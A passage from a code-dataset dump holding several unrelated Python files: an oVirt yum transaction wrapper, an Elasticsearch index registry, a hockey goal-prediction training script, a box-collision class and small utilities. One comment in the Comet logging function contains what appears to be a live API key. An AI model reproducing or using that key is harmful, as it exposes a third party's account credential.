self._yb.cleanRpmDB),\n ('headers', self._yb.cleanHeaders)\n ):\n if doall or w in what:\n f()\n\n except Exception as e:\n self._sink.error(e)\n raise\n\n def beginTransaction(self):\n \"\"\"Lock (begin of transaction)\n\n Need to disbale output as:\n Freeing read locks for locker 0x84: 1316/139849637029632\n Freeing read locks for locker 0x86: 1316/139849637029632\n\n \"\"\"\n with self._disableOutput:\n self._transactionBase = self._yb.history.last()\n self._yb.doLock()\n\n def endTransaction(self, rollback=False):\n \"\"\"Unlock (end of transaction).\"\"\"\n with self._disableOutput:\n try:\n if rollback:\n self._sink.info('Performing yum transaction rollback')\n transactionCurrent = self._yb.history.last(\n complete_transactions_only=False\n )\n if (\n transactionCurrent is not None and\n self._transactionBase is not None and\n self._transactionBase.tid < transactionCurrent.tid\n ):\n if (\n transactionCurrent.altered_lt_rpmdb or\n transactionCurrent.altered_gt_rpmdb\n ):\n # @ALON:\n # copied from yum processing, don't fully\n # understand the statement, looks some kind\n # of safe guard.\n pass\n else:\n try:\n self._yb.repos.populateSack(\n mdtype='all',\n cacheonly=1,\n )\n except Exception as e:\n self._sink.verbose(\n _(\n 'Cannot switch to offline: {error}'\n ).format(\n error=e,\n )\n )\n try:\n del self._yb.tsInfo\n del self._yb.ts\n if self._yb.history_undo(transactionCurrent):\n if self.buildTransaction():\n self.processTransaction()\n finally:\n try:\n self._yb.repos.populateSack(\n mdtype='all',\n cacheonly=0,\n )\n except Exception as e:\n self._sink.verbose(\n _(\n 'Cannot switch to online: {error}'\n ).format(\n error=e,\n )\n )\n\n except Exception:\n self._sink.error(\n _('Transaction close failed: {error}').format(\n error=traceback.format_exc()\n )\n )\n finally:\n self._transactionBase = None\n\n # forget current transaction\n del self._yb.tsInfo\n self._yb.doUnlock()\n\n def installGroup(self, group, **kwargs):\n \"\"\"Install group.\n\n group -- group name\n ignoreErrors - to ignore errors, will return False\n\n \"\"\"\n return self._queueGroup(\n 'install',\n self._yb.selectGroup,\n group,\n **kwargs\n )\n\n def updateGroup(self, group, **kwargs):\n \"\"\"Update group.\n\n group -- group name\n ignoreErrors - to ignore errors, will return False\n\n rhel-6.3 does not have the upgrade keyword parameter,\n so we just install.\n \"\"\"\n return self._queueGroup(\n 'update',\n self._yb.selectGroup,\n group,\n **kwargs\n )\n\n def removeGroup(self, group, **kwargs):\n \"\"\"Update group.\n\n group -- group name\n ignoreErrors - to ignore errors, will return False\n\n rhel-6.3 does not have the upgrade keyword parameter,\n so we just install.\n \"\"\"\n return self._queueGroup(\n 'remove',\n self._yb.groupRemove,\n group,\n **kwargs\n )\n\n def install(self, packages, **kwargs):\n \"\"\"Install packages.\n\n Keyword arguments:\n packages -- packages to install.\n ignoreErrors - to ignore errors, will return False\n\n \"\"\"\n return self._queue(\n 'install',\n lambda h: h.available,\n self._yb.install,\n packages,\n **kwargs\n )\n\n def update(self, packages, **kwargs):\n \"\"\"Update packages.\n\n Keyword arguments:\n packages -- packages to install.\n ignoreErrors - to ignore errors, will return False\n\n \"\"\"\n return self._queue(\n 'update',\n lambda h: h.available,\n self._yb.update,\n packages,\n **kwargs\n )\n\n def installUpdate(self, packages, **kwargs):\n \"\"\"Install or update a packages.\n\n Keyword arguments:\n packages -- packages to install.\n ignoreErrors - to ignore errors, will return False\n\n \"\"\"\n return self._queue(\n 'install/update',\n lambda h: h.available,\n self._yb.install, # install does both\n packages,\n **kwargs\n )\n\n def remove(self, packages, **kwargs):\n \"\"\"Remove packages.\n\n Keyword arguments:\n packages -- packages to install.\n ignoreErrors - to ignore errors, will return False\n\n \"\"\"\n return self._queue(\n 'remove',\n lambda h: h.installed,\n self._yb.remove,\n packages,\n **kwargs\n )\n\n def buildTransaction(self):\n \"\"\"Build transaction.\n\n returns False if empty.\n\n \"\"\"\n try:\n with self._disableOutput:\n ret = False\n self._sink.verbose('Building transaction')\n rc, msg = self._yb.buildTransaction()\n if rc == 0:\n self._sink.verbose('Empty transaction')\n elif rc == 2:\n ret = True\n self._sink.verbose('Transaction built')\n else:\n raise yum.Errors.YumBaseError(msg)\n\n self._sink.verbose('Transaction Summary:')\n for p in self.queryTransaction():\n self._sink.verbose(' %-10s - %s' % (\n p['operation'],\n p['display_name']\n ))\n\n return ret\n\n except Exception as e:\n self._sink.error(e)\n raise\n\n def queryTransaction(self):\n try:\n with self._disableOutput:\n ret = []\n for txmbr in sorted(self._yb.tsInfo):\n info = self._get_package_info(txmbr)\n info['operation'] = self.TRANSACTION_STATE.get(\n txmbr.output_state,\n txmbr.output_state\n )\n ret.append(info)\n return ret\n\n except Exception as e:\n self._sink.error(e)\n raise\n\n def queryGroups(self):\n ret = []\n\n try:\n with self._disableOutput:\n installed, available = self._yb.doGroupLists()\n\n for grp in installed:\n ret.append({\n 'operation': 'installed',\n 'name': grp.groupid,\n 'description': grp.name,\n 'uservisible': grp.user_visible\n })\n for grp in available:\n ret.append({\n 'operation': 'available',\n 'name': grp.groupid,\n 'description': grp.name,\n 'uservisible': grp.user_visible\n })\n except yum.Errors.GroupsError as e:\n # rhbz#973383 empty groups raises an exception\n self._sink.verbose('Ignoring group error: %s' % e)\n except Exception as e:\n self._sink.error(e)\n raise\n\n return ret\n\n def queryPackages(self, pkgnarrow='all', patterns=None, showdups=None):\n try:\n with self._disableOutput:\n ret = []\n\n holder = self._yb.doPackageLists(\n pkgnarrow=pkgnarrow,\n patterns=(\n list(patterns) +\n [\n self._get_package_name(p)\n for p in self._queryProvides(\n packages=patterns,\n showdups=showdups,\n )\n ]\n ),\n showdups=showdups,\n )\n for op, l in (\n ('available', holder.available),\n ('installed', holder.installed),\n ('updates', holder.updates),\n ('extras', holder.extras),\n ('obsoletes', holder.obsoletes),\n ('recent', holder.recent),\n ('reinstall_available', holder.reinstall_available),\n ):\n for entry in l:\n if isinstance(entry, tuple):\n info = self._get_package_info(entry[0])\n info['operation'] = op\n ret.append(info)\n info = self._get_package_info(entry[1])\n info['operation'] = 'installed'\n ret.append(info)\n else:\n info = self._get_package_info(entry)\n info['operation'] = op\n ret.append(info)\n\n return ret\n\n except Exception as e:\n self._sink.error(e)\n raise\n\n def processTransaction(self):\n \"\"\"Process built transaction.\"\"\"\n\n self._sink.clearError()\n\n try:\n with self._disableOutput:\n self._sink.verbose('Processing transaction')\n self._yb.processTransaction(\n callback=self._YumListener(sink=self._sink),\n rpmTestDisplay=self._RPMCallback(sink=self._sink),\n rpmDisplay=self._RPMCallback(sink=self._sink)\n )\n self._sink.verbose('Transaction processed')\n\n except Exception as e:\n self._sink.error(e)\n raise\n\n if self._sink.failed:\n raise RuntimeError(\n _('One or more elements within Yum transaction failed')\n )\n\n\nclass Example(object):\n \"\"\"Example of miniyum usage.\"\"\"\n\n class MyMiniYumSink(MiniYumSinkBase):\n \"\"\"Events.\"\"\"\n\n KEEPALIVE_INTERVAL = 60\n\n def __init__(self):\n \"\"\"dup the stdout as during yum operation so we redirect it.\"\"\"\n super(Example.MyMiniYumSink, self).__init__()\n self._stream = os.dup(sys.stdout.fileno())\n self._touch()\n\n def __del__(self):\n os.close(self._stream)\n\n def _touch(self):\n self._last = time.time()\n\n def verbose(self, msg):\n super(Example.MyMiniYumSink, self).verbose(msg)\n os.write(self._stream, ('VERB: -->%s<--\\n' % msg).encode('utf-8'))\n\n def info(self, msg):\n super(Example.MyMiniYumSink, self).info(msg)\n self._touch()\n os.write(self._stream, ('OK: -->%s<--\\n' % msg).encode('utf-8'))\n\n def error(self, msg):\n super(Example.MyMiniYumSink, self).error(msg)\n self._touch()\n os.write(self._stream, ('FAIL: -->%s<--\\n' % msg).encode('utf-8'))\n\n def keepAlive(self, msg):\n super(Example.MyMiniYumSink, self).keepAlive(msg)\n if time.time() - self._last >= \\\n self.KEEPALIVE_INTERVAL:\n self.info(msg)\n\n def askForGPGKeyImport(self, userid, hexkeyid):\n os.write(\n self._stream,\n (\n 'APPROVE-GPG: -->%s-%s<--\\n' % (userid, hexkeyid)\n ).encode('utf-8')\n )\n return True\n\n @staticmethod\n def main():\n # BEGIN: PROCESS-INITIALIZATION\n miniyumsink = Example.MyMiniYumSink()\n MiniYum.setup_log_hook(sink=miniyumsink)\n extraLog = open('/tmp/miniyum.log', 'a')\n miniyum = MiniYum(sink=miniyumsink, extraLog=extraLog)\n miniyum.selinux_role()\n # END: PROCESS-INITIALIZATION\n\n with miniyum.transaction():\n miniyum.clean(['expire-cache'])\n\n miniyumsink.info('Search Summary:')\n for p in miniyum.queryPackages(patterns=('vdsm',)):\n miniyumsink.info(\n _(' {operation} - {package}').format(\n operation=p['operation'],\n package=p['display_name'],\n )\n )\n\n with miniyum.transaction():\n miniyum.remove(('cman',), ignoreErrors=True)\n miniyum.install(('qemu-kvm-tools',))\n miniyum.install(('vdsm', 'vdsm-client'))\n miniyum.update(('vdsm', 'vdsm-client'))\n if miniyum.buildTransaction():\n miniyumsink.info('Transaction Summary:')\n for p in miniyum.queryTransaction():\n miniyumsink.info(' %s - %s' % (\n p['operation'],\n p['display_name']\n ))\n miniyum.processTransaction()\n\n class IgnoreMe(Exception):\n pass\n try:\n with miniyum.transaction():\n miniyum.install(('pcsc-lite',))\n if miniyum.buildTransaction():\n miniyum.processTransaction()\n raise IgnoreMe()\n except IgnoreMe:\n pass\n\n\nif __name__ == '__main__':\n Example.main()\n\n\n__all__ = ['MiniYum', 'MiniYumSinkBase']\n\n\n# vim: expandtab tabstop=4 shiftwidth=4\n","repo_name":"oVirt/otopi","sub_path":"src/otopi/miniyum.py","file_name":"miniyum.py","file_ext":"py","file_size_in_byte":35792,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"75"} +{"seq_id":"27956491299","text":"\"\"\"Maintain and interact with the global Elasticsearch \"info object\" registry.\n\n The API provided by this module replaces the previously public `ES_META`\ndictionary and implements controls to serve all the purposes that that\ndictionary was used for.\n\n The original (and current main) purpose of the registry is to ensure that\nElasticsearch indices are not referenced by their raw _index name_ by enforcing\nthat only _alias names_ get used to perform Elasticsearch requests. Index info\nregistry items are keyed by pseudo-aliases, or \"canonical names\", which are only\ndefined in code and may differ from the _actual alias name_ for that index (e.g.\n\"forms\" instead of \"xforms\").\n\n The registry also serves the purpose of being the authoritative source of\nindex metadata information for non-index-specific code which needs to perform\nElasticsearch requests. Some examples include:\n\n- Django management commands that need to query Elasticsearch by canonical name.\n- Elasticsearch cluster management utilities.\n- Elasticsearch interface and tests.\n\"\"\"\n\nfrom corehq.util.test_utils import unit_testing_only\n\nfrom .exceptions import ESRegistryError\n\n\ndef register(info, cname=None):\n \"\"\"Register an Elasticsearch index info object.\n\n :param info: index info object\n :param cname: (optional) register index info as canonical name `cname`\n instead of default (`info.alias`)\n :raises: ESRegistryError\n \"\"\"\n alias = info.alias\n if cname is None:\n cname = alias\n if cname in _ES_INFO_REGISTRY:\n raise ESRegistryError(f\"name {cname!r} is already registered\")\n _ES_INFO_REGISTRY[cname] = info\n if alias in _ALIAS_REF_COUNTS:\n _ALIAS_REF_COUNTS[alias] += 1\n else:\n _ALIAS_REF_COUNTS[alias] = 1\n return cname\n\n\n@unit_testing_only\ndef deregister(info_or_cname):\n \"\"\"Deregister a previously registered index. For testing only (production\n code never deregisters indices).\n\n :param info_or_cname: index info object or canonical name used for\n an existing registry entry\n :raises: ESRegistryError\n \"\"\"\n cname = getattr(info_or_cname, \"alias\", info_or_cname)\n try:\n info = _ES_INFO_REGISTRY.pop(cname)\n except KeyError:\n raise ESRegistryError(f\"name {cname!r} is not registered\")\n _ALIAS_REF_COUNTS[info.alias] -= 1\n if _ALIAS_REF_COUNTS[info.alias] < 1:\n del _ALIAS_REF_COUNTS[info.alias]\n\n\ndef verify_alias(alias):\n \"\"\"Check if provided alias is valid (alias of a registered index).\n\n :param alias: index alias to check in registry\n :raises: ESRegistryError\n \"\"\"\n if alias not in _ALIAS_REF_COUNTS:\n raise ESRegistryError(f\"invalid index alias {alias!r}, expected one \"\n f\"of {sorted(_ALIAS_REF_COUNTS)}\")\n\n\ndef verify_registered(info_or_cname):\n \"\"\"Check if registry exists for an index.\n\n :param info_or_cname: index info object or canonical name\n :raises: ESRegistryError\n \"\"\"\n cname = getattr(info_or_cname, \"alias\", info_or_cname)\n if cname not in _ES_INFO_REGISTRY:\n raise ESRegistryError(f\"invalid registry name {cname!r}, expected one \"\n f\"of {sorted(_ES_INFO_REGISTRY)}\")\n\n\ndef registry_entry(cname):\n \"\"\"Get the index info object registered for a canonical name.\n\n :param cname: canonical name of existing registry entry\n :returns: index info object\n :raises: ESRegistryError\n \"\"\"\n try:\n return _ES_INFO_REGISTRY[cname]\n except KeyError:\n raise ESRegistryError(f\"invalid registry name {cname!r}, expected one \"\n f\"of {sorted(_ES_INFO_REGISTRY)}\")\n\n\ndef get_registry():\n \"\"\"Get a copy of the registry.\n\n :returns: dict\n \"\"\"\n return _ES_INFO_REGISTRY.copy()\n\n\n# global ES index and alias registries\n_ES_INFO_REGISTRY = {}\n_ALIAS_REF_COUNTS = {}\n","repo_name":"MERQ-Systems/commcare-hq","sub_path":"corehq/apps/es/registry.py","file_name":"registry.py","file_ext":"py","file_size_in_byte":3881,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"75"} +{"seq_id":"37335025811","text":"import os\nimport sys\nimport requests\nimport json\nimport pickle\n\nimport pandas as pd\nimport numpy as np \nimport matplotlib.pyplot as plt\nimport math \nfrom numpy import sort\nfrom numpy import mean\n\nfrom ..viz import *\n#from viz.model_plots import plot_roc_curve, plot_goal_rate_cum_goals, calibration_curve\nfrom xgboost import XGBClassifier\nfrom sklearn.ensemble import RandomForestClassifier, GradientBoostingClassifier\nfrom catboost import CatBoostClassifier\nfrom sklearn.neural_network import MLPClassifier\nfrom sklearn.ensemble import HistGradientBoostingClassifier\n\nfrom dataclasses import dataclass\nfrom sklearn.model_selection import train_test_split, GridSearchCV\nfrom sklearn.metrics import roc_curve, auc, roc_auc_score\nfrom sklearn.feature_selection import SelectFromModel\nfrom sklearn.model_selection import cross_val_score\nfrom sklearn.model_selection import RepeatedStratifiedKFold\n\nimport category_encoders as ce\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.decomposition import PCA\n\nfrom collections import Counter\nimport imblearn\nfrom imblearn.pipeline import Pipeline\nfrom imblearn.over_sampling import SMOTE\nfrom imblearn.under_sampling import RandomUnderSampler\n\nfrom sklearn.feature_selection import mutual_info_classif\nfrom mlxtend.feature_selection import SequentialFeatureSelector as SFS\nfrom sklearn.feature_selection import SelectKBest\n\nfrom sklearn.model_selection import StratifiedKFold\nfrom sklearn_evaluation import plot\n\nfrom comet_ml import Experiment\n\n\ndef process_feats(df):\n \"\"\" Convert dataframe to format for training models.\n :param df: input dataframe\n :return: transformed dataframe for training and validation\n \"\"\"\n # change format into our need\n df['shot_angle'] = df['shot_angle'].abs()\n\n event_types = {'SHOT': 0, 'GOAL': 1, 'BLOCKED_SHOT': 2, 'CHALLENGE': 3, 'FACEOFF': 4, 'GIVEAWAY': 5, 'HIT': 6, 'MISSED_SHOT': 7, 'PENALTY': 8, 'PERIOD_END': 9,\n 'PERIOD_READY': 10, 'PERIOD_START': 11, 'STOP': 12, 'TAKEAWAY': 13, 'PERIOD_OFFICIAL': 14, 'SHOOTOUT_COMPLETE': 15, 'GAME_OFFICIAL': 16, 'GAME_END': 17}\n df['event_type'].replace(event_types, inplace=True)\n df['prev_event_type'].replace(event_types, inplace=True)\n df['prev_event_type'] = pd.to_numeric(df['prev_event_type'])\n\n shot_types = {'Backhand': 1, 'Deflected': 2, 'Slap Shot': 3, 'Snap Shot': 4, 'Tip-In': 5, 'Wrap-around': 6, 'Wrist Shot': 7}\n df['shot_type'].replace(shot_types, inplace=True)\n\n bool_to_int = {False: 0, True: 1}\n df['rebound'].replace(bool_to_int, inplace=True)\n\n df['speed'].replace({np.inf: 0}, inplace=True)\n\n df['empty_net'].replace(bool_to_int, inplace=True)\n df['empty_net'] = pd.to_numeric(df['empty_net'])\n\n feat_list = ['game_seconds', 'period', 'team', 'coord_x', 'coord_y', 'shot_distance', 'shot_angle', 'shot_type', 'prev_event_type', 'prev_coord_x', 'prev_coord_y', \n 'time_from_prev_event', 'distance_from_prev_event', 'rebound', 'change_in_angle', 'speed', 'empty_net', 'is_home', 'is_forward', 'is_shortHanded', 'event_type']\n for f in feat_list:\n df[f] = df[f].fillna(0)\n\n return df[feat_list]\n\n\ndef scale_data(X_train, y_train, X_test):\n \"\"\" Scale both numerical and categorical variables.\n :param X_train: transformed dataframe for training\n :param y_train: training labels\n :param X_test: transformed dataframe for training (or validation)\n :return: transformed data for training and testing (or validation)\n \"\"\"\n \n num_features = ['game_seconds', 'coord_x', 'coord_y', 'shot_distance', 'shot_angle', 'prev_coord_x', 'prev_coord_y', \n 'time_from_prev_event', 'distance_from_prev_event', 'change_in_angle', 'speed']\n cat_features = ['period', 'shot_type', 'prev_event_type', 'rebound', 'empty_net', 'is_home', 'is_forward', 'is_shortHanded']\n X_train_categorical = X_train[cat_features]\n X_train_numerical = X_train[num_features]\n \n X_test_categorical = X_test[cat_features]\n X_test_numerical = X_test[num_features]\n \n # Encode shot_type\n encoder=ce.LeaveOneOutEncoder(cols='shot_type', sigma = 0.1)\n loo_res = encoder.fit_transform(X_train_categorical['shot_type'], y_train).rename(columns = {'shot_type': 'shotType'})\n X_train_categorical = pd.concat([loo_res,X_train_categorical], axis =1)\n # Encode prev_event_type\n loo_encoder=ce.LeaveOneOutEncoder(cols='prev_event_type', sigma = 0.1)\n loo_res = loo_encoder.fit_transform(X_train_categorical['prev_event_type'], y_train).rename(columns = {'prev_event_type': 'prevEventType'})\n X_train_categorical = pd.concat([loo_res,X_train_categorical], axis =1)\n # Encode period\n encoder_period=ce.LeaveOneOutEncoder(cols='period', sigma = 0.1)\n loo_res_period = encoder_period.fit_transform(X_train_categorical['period'], y_train).rename(columns = {'period': 'period_encode'})\n X_train_categorical = pd.concat([loo_res_period,X_train_categorical], axis =1)\n \n X_train_categorical = X_train_categorical.drop(columns=['shot_type', 'prev_event_type', 'period'])\n \n X_test_encoder = encoder.transform(X_test_categorical['shot_type']).rename(columns = {'shot_type': 'shotType'})\n X_test_categorical = pd.concat([X_test_encoder,X_test_categorical], axis =1)\n X_test_loo_encoder = loo_encoder.transform(X_test_categorical['prev_event_type']).rename(columns = {'prev_event_type': 'prevEventType'})\n X_test_categorical = pd.concat([X_test_loo_encoder,X_test_categorical], axis =1)\n X_test_loo_encoder = encoder_period.transform(X_test_categorical['period']).rename(columns = {'period': 'period_encode'})\n X_test_categorical = pd.concat([X_test_loo_encoder,X_test_categorical], axis =1)\n X_test_categorical = X_test_categorical.drop(columns=['shot_type', 'prev_event_type', 'period'])\n \n scalar = StandardScaler()\n X_train_numerical = pd.DataFrame(scalar.fit_transform(X_train_numerical), columns = X_train_numerical.columns)\n X_test_numerical = pd.DataFrame(scalar.transform(X_test_numerical), columns = X_test_numerical.columns)\n\n scaled_X_train = pd.concat([X_train_numerical,X_train_categorical], axis =1)\n scaled_X_test = pd.concat([X_test_numerical,X_test_categorical], axis =1)\n \n return scaled_X_train, scaled_X_test\n\n\ndef fit_pca(X_train, y_train, X_test):\n \"\"\" Use PCA to reduce the dimensionality.\n :param X_train: transformed dataframe for training\n :param y_train: training labels\n :param X_test: transformed dataframe for training (or validation)\n :return: transformed data for training and testing (or validation)\n \"\"\"\n X_train, X_test = scale_data(X_train, y_train, X_test)\n \n pca = PCA(n_components = 0.99)\n pca.fit(X_train)\n reduced_X_train = pca.transform(X_train)\n reduced_X_test = pca.transform(X_test)\n \n return reduced_X_train, reduced_X_test\n \n \ndef balanced_dataset(X_train, y_train, X_test, y_test, args):\n\n # define pipeline\n model = get_model(args)\n over = SMOTE(sampling_strategy=0.2, k_neighbors=args.k_neighbors)\n under = RandomUnderSampler(sampling_strategy=0.4)\n steps = [('over', over), ('under', under), ('model', model)]\n\n pipeline = Pipeline(steps=steps)\n\n # Fit model\n pipeline.fit(X_train.values, y_train)\n # Make predictions\n preds = pipeline.predict_proba(X_test.values)[:, 1] \n \n # plot figures\n roc_auc = plot_roc_curve(y_test, preds)\n plot_goal_rate_cum_goals(y_test, preds, args.model)\n calibration_curve(y_test, preds)\n \n return pipeline, roc_auc, preds\n\n \n\ndef feature_selection(X_train, y_train, X_test, y_test, args):\n \"\"\" Select features based on different methods.\n :param X_train: transformed dataframe for training\n :param y_train: training labels\n :param X_test: transformed dataframe for training (or validation)\n :param y_test: testing labels\n :param args: contain all the information for the model\n :return: transformed data for training and testing (or validation)\n \"\"\"\n if args.feature == 'default':\n feat_list = ['game_seconds', 'period', 'coord_x', 'coord_y', 'shot_distance', 'shot_angle', 'shot_type', 'prev_event_type', 'prev_coord_x', 'prev_coord_y', \n 'time_from_prev_event', 'distance_from_prev_event', 'rebound', 'change_in_angle', 'speed', 'empty_net']\n X_train = X_train[feat_list]\n X_test = X_test[feat_list]\n if args.model == \"mlp\":\n X_train, X_test = scale_data(X_train, y_train, X_test)\n \n elif args.feature == 'extra':\n if args.model == \"mlp\" or args.model == \"hist_gradient_boosting\":\n X_train, X_test = scale_data(X_train, y_train, X_test)\n \n elif args.feature == 'importance':\n # Get model\n model = get_model(args)\n sfs = SFS(model,\n k_features = 'best',\n forward= True,\n floating = False,\n verbose= 2,\n scoring= 'roc_auc',\n cv = 5,\n n_jobs= -1\n ).fit(X_train, y_train)\n \n features = list(sfs.k_feature_names_)\n print(features)\n X_train = X_train[features]\n X_test = X_test[features]\n \n elif args.feature == 'mutual_info':\n select_feature = SelectKBest(mutual_info_classif, k=args.num_features)\n select_feature.fit(X_train, y_train)\n features = list(X_train.columns[select_feature.get_support()])\n X_train = X_train[features]\n X_test = X_test[features]\n\n elif args.feature == 'pca':\n X_train, X_test = fit_pca(X_train, y_train, X_test)\n\n return np.array(X_train), np.array(X_test)\n \n\ndef get_model(args):\n \"\"\" Select the model specified by user.\n :param args: contain all the information for the model\n :return: model\n \"\"\"\n if args.model == \"xgboost\":\n model = XGBClassifier(booster='dart', eta=0.05, max_depth=10, subsample=0.5)\n elif args.model == \"random_forest\":\n if args.mode == \"best\" or args.selection_mode:\n model = RandomForestClassifier(n_estimators=100, max_depth= args.max_depth, min_samples_leaf=args.min_samples_leaf, random_state=42)\n else:\n model = RandomForestClassifier(n_estimators=100, random_state=42)\n elif args.model == \"cat_boost\": \n if args.mode == \"best\" or args.selection_mode:\n model = CatBoostClassifier(learning_rate=args.learning_rate, eval_metric='AUC', od_type='IncToDec', verbose=False)\n else:\n model = CatBoostClassifier(eval_metric='AUC', od_type='IncToDec', verbose=False)\n elif args.model == \"gradient_boosting\":\n if args.mode == \"best\" or args.selection_mode:\n model = GradientBoostingClassifier(learning_rate=args.learning_rate, n_iter_no_change=5, tol=0.01, random_state=42, verbose=False)\n else:\n model = GradientBoostingClassifier(n_iter_no_change=5, tol=0.01, random_state=42, verbose=False)\n elif args.model == \"hist_gradient_boosting\": \n if args.mode == \"best\" or args.selection_mode:\n model = HistGradientBoostingClassifier(learning_rate=0.2, max_depth=75, n_iter_no_change=10)\n else:\n model = HistGradientBoostingClassifier(learning_rate=0.2, max_depth=75, n_iter_no_change=10)\n elif args.model == \"mlp\": \n if args.mode == \"best\" or args.selection_mode:\n model = MLPClassifier(\n activation=\"logistic\",\n solver=\"adam\",\n alpha=args.alpha,\n learning_rate_init=args.learning_rate,\n early_stopping=True,\n max_iter=200,\n hidden_layer_sizes=(args.hidden_layer,args.hidden_layer),\n verbose=False,\n )\n else:\n model = MLPClassifier(\n activation=\"logistic\",\n solver=\"adam\",\n early_stopping=True,\n max_iter=200,\n hidden_layer_sizes=(args.hidden_layer,args.hidden_layer),\n verbose=False,\n )\n \n return model\n\n\ndef train(X_train, y_train, X_test, y_test, args):\n \"\"\" training the models and evaluate our models through various methods.\n :param X_train: transformed dataframe for training\n :param y_train: training labels\n :param X_test: transformed dataframe for training (or validation)\n :param y_test: testing labels\n :param args: contain all the information for the model\n :return: \n \"\"\"\n roc_auc = 0.0\n \n if args.smoothing:\n model, roc_auc, preds = balanced_dataset(X_train, y_train, X_test, y_test, args)\n \n elif args.mode == \"default\" or args.mode == \"best\":\n \n X_train, X_test = feature_selection(X_train, y_train, X_test, y_test, args)\n # Create model instance\n model = get_model(args) \n # Fit model\n model.fit(X_train, y_train)\n # Make predictions\n preds = model.predict_proba(X_test)[:, 1]\n\n # plot figures\n roc_auc = plot_roc_curve(y_test, preds)\n plot_goal_rate_cum_goals(y_test, preds, args.model)\n calibration_curve(y_test, preds)\n \n elif args.mode == \"tune\":\n \n X_train, X_test = feature_selection(X_train, y_train, X_test, y_test, args)\n if args.model == \"random_forest\":\n param_grid = {\n 'max_depth' : [30,40,50],\n 'min_samples_leaf': [50, 100, 250],\n }\n \n elif args.model == \"cat_boost\":\n param_grid = {\n #'learning_rate': np.arange(0.0,0.8,0.2),\n 'learning_rate': np.arange(0.16,0.24,0.02),\n }\n \n elif args.model == \"gradient_boosting\":\n param_grid = {\n 'learning_rate': np.arange(0.0,0.8,0.2),\n }\n \n elif args.model == \"hist_gradient_boosting\":\n param_grid = {\n 'learning_rate': np.arange(0.0,0.8,0.2),\n 'max_depth' : [30,50,75],\n }\n \n elif args.model == \"mlp\":\n param_grid = {\n 'alphas': np.logspace(-1, 1, 5),\n }\n \n initial_model = get_model(args)\n\n # Tune hyperparameters\n model = GridSearchCV(estimator=initial_model, param_grid=param_grid, cv=10)\n # Fit model\n model.fit(X_train, y_train)\n print(model.best_params_)\n print(model.best_estimator_)\n print(model.best_score_)\n\n return model, roc_auc, (y_test, preds)\n\n\ndef log_to_comet(model_path, auc):\n \"\"\" log model to the comel.ml project\n :param model_path: the local path where the model is saved\n :param auc: the auc of the model\n :return:\n \"\"\"\n exp = Experiment(\n api_key=os.environ.get('COMET_API_KEY'), # don’t hardcode!! 'nswhJWNIpDxovklD8fxYpbxX4'\n project_name='ift6758-project',\n workspace='ds-team-9',\n )\n\n exp.log_model(\"models\", model_path)\n\n exp.log_metrics({\"auc\": auc})\n\n","repo_name":"YujunZhong/hockey-game-prediction","sub_path":"codebase/ift6758/model/run_models.py","file_name":"run_models.py","file_ext":"py","file_size_in_byte":15026,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"75"} +{"seq_id":"21652051358","text":"__all__ = ['Box', 'collide']\n\n\ndef bounding(b1, b2):\n\n xcoors = [b1.x, b1.x + b1.w, b2.x, b2.x + b2.w]\n ycoors = [b1.y, b1.y + b1.h, b2.y, b2.y + b2.h]\n\n xcoors.sort()\n ycoors.sort()\n\n x = xcoors[0]\n y = ycoors[0]\n w = xcoors[-1] - xcoors[0]\n h = ycoors[-1] - ycoors[0]\n\n return Box(x, y, w, h)\n\n\ndef __corners(box, margin):\n\n if isinstance(margin, tuple) and len(margin) == 2:\n\n mx, my = margin\n\n else:\n\n mx = margin\n my = margin\n\n for x in (box.x - mx, box.x + box.w + mx):\n\n for y in (box.y - my, box.y + box.h + my):\n\n yield (x, y)\n\n\ndef collide(a, b, margin=0):\n\n for a_point in __corners(a, margin):\n\n if a_point in b:\n\n return True\n\n for b_point in __corners(b, margin):\n\n if b_point in a:\n\n return True\n\n return False\n\n\nclass Box(object):\n \"\"\"Box(x, y, w, h) -> a Box\n\n The simplest possible Collider.\n \"\"\"\n\n def __init__(self, x, y, w, h):\n\n self.x = x\n self.y = y\n self.w = w\n self.h = h\n\n def __contains__(self, point):\n\n x_p, y_p = point\n\n return (self.x <= x_p <= self.x + self.w and\n self.y <= y_p <= self.y + self.h)\n\n def __eq__(self, other):\n\n return (self.x == other.x and\n self.y == other.y and\n self.w == other.w and\n self.h == other.h)\n\n def __ne__(self, other):\n\n return not self == other\n\n def __str__(self):\n\n return \"Box(%(x)d, %(y)d, %(w)d, %(h)d)\" % self.__dict__\n\n def move_by(self, dx, dy):\n \"\"\"B.move_by(dx, dy)\n\n Moves the box by a given distance.\n \"\"\"\n\n self.x += dx\n self.y += dy\n\n def move_to(self, x, y):\n \"\"\"B.move_to(x, y)\n\n Moves the box to a given position.\n \"\"\"\n\n self.x = x\n self.y = y\n","repo_name":"drBradley/Quantee","sub_path":"src/frames/boxes.py","file_name":"boxes.py","file_ext":"py","file_size_in_byte":1870,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"464263587","text":"''' Задания №5\nФункция принимает на вход три списка одинаковой длины:\nимена str,\nставка int,\nпремия str с указанием процентов вида «10.25%».\nВернуть словарь с именем в качестве ключа и суммой премии в качестве значения.\nСумма рассчитывается как ставка умноженная на процент премии.\n'''\n\n\ndef calculate_bonus(names, rates, bonuses):\n bonus_dict = {}\n for name, rate, bonus in zip(names, rates, bonuses):\n # Преобразуем процент премии в десятичное значение\n bonus_percent = float(bonus.rstrip('%')) / 100\n # Рассчитываем сумму премии\n bonus_amount = rate * bonus_percent\n # Добавляем пару ключ-значение в словарь\n bonus_dict[name] = bonus_amount\n return bonus_dict\n\n\nnames = ['Алексей', 'Дмитрий', 'Михаил']\nrates = [10000, 20000, 15000]\nbonuses = ['10.25%', '15%', '12.5%']\n\nresult_dict = calculate_bonus(names, rates, bonuses)\nprint(result_dict)\n","repo_name":"xDOKBETx/PythonGB","sub_path":"HW_4/task_5.py","file_name":"task_5.py","file_ext":"py","file_size_in_byte":1231,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"42390670844","text":"import json\nfrom datetime import date\n\n\ndef events_for_today(all_events):\n data = json.loads(all_events)\n events = []\n result = \"\"\n\n today = date.today()\n\n for item in data['models']['listing']['fullData']:\n if item['date'] == str(today):\n events.append(item)\n\n for item in events:\n result = result + 